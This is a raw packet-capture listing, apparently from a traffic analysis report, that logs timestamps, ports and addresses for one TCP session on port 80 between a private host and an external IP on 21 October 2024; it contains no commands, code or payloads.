Oct 21, 2024 08:47:27.832818031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832834005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832863092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832865000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832896948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832906961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832930088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832941055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832962036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.832972050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.832993031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833003998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833024025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833033085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833055973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833067894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833086967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833093882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833117962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833128929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833149910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833162069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833182096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.833194971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.833220959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.871032953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.871067047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.871098995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.871099949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.871130943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.871140957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.943933010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944003105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944005966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944056034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944071054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944117069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944123983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944169998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944190979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944222927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944233894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944263935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944267988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944314003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944314957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944359064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944364071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944391966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944408894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944437981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944439888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944483995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944489956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944519997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944530964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944571018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944571972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944600105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944614887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944681883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944686890 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944732904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944734097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944766045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944777966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944797039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944811106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944847107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944854021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944876909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944909096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944909096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944940090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944940090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944957018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.944972992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.944988012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945003033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945013046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945034981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945048094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945066929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945076942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945099115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945112944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945130110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945143938 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945163012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945175886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945194006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945205927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945226908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945240021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945259094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945281982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945296049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945306063 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945327997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945343971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945358992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945365906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945394039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945421934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945425987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945442915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945456028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.945471048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.945496082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.951697111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.951788902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.951793909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.951838970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.951843023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.951889992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.951890945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.951921940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.951936007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.951955080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.951961994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952002048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952006102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952050924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952053070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952080965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952097893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952111959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952124119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952157974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952161074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952193022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952208042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952224970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952239990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952270985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952271938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952302933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952320099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952334881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952346087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952368021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952378035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952409983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952416897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952450037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952465057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952498913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952500105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952545881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952548981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952579975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952600956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952613115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952629089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952644110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952655077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952677965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952691078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952706099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952719927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952739000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.952752113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.952779055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.990367889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.990432024 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.990447998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.990469933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:27.990474939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:27.990514994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064533949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064565897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064604044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064626932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064641953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064659119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064673901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064704895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064734936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064759016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064785004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064799070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064812899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064826965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064846039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064863920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064882040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064889908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064913034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064923048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064945936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.064954042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064989090 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.064995050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065026999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065037966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065120935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065129042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065160990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065172911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065191984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065196037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065224886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065233946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065267086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065268993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065299034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065306902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065376043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065407991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065417051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065440893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065450907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065473080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065484047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065505028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065515995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065536022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065548897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065567017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065576077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065599918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065608978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065630913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065638065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065664053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065673113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065696955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065706015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065727949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065738916 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065762043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065773010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065794945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.065809965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.065840960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.071408033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.071868896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.071938992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.071947098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.071974993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.071993113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072010994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072021961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072046041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072056055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072078943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072088957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072120905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072124004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072153091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072171926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072186947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072204113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072221994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072228909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072257996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072279930 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072292089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072303057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072325945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072335958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072360039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072371960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072396994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072412968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072431087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072463989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072474003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072494984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072501898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072535992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072547913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072583914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072590113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072624922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072637081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072662115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072670937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072695971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.072702885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.072737932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.087266922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.087321997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.087399006 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.109770060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.109826088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.109850883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.109862089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.109908104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.109946012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183039904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183294058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183329105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183331966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183374882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183399916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183440924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183449030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183451891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183491945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183502913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183543921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183548927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183603048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183608055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183648109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183655977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183705091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183708906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183742046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183758020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183775902 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183788061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183805943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183825016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183852911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183861017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183912039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183924913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183957100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.183964014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.183995962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184010029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184032917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184041977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184068918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184077024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184102058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184117079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184135914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184144020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:28.184169054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:28.184181929 CEST	49732	80	192.168.2.4	147.45.44.221
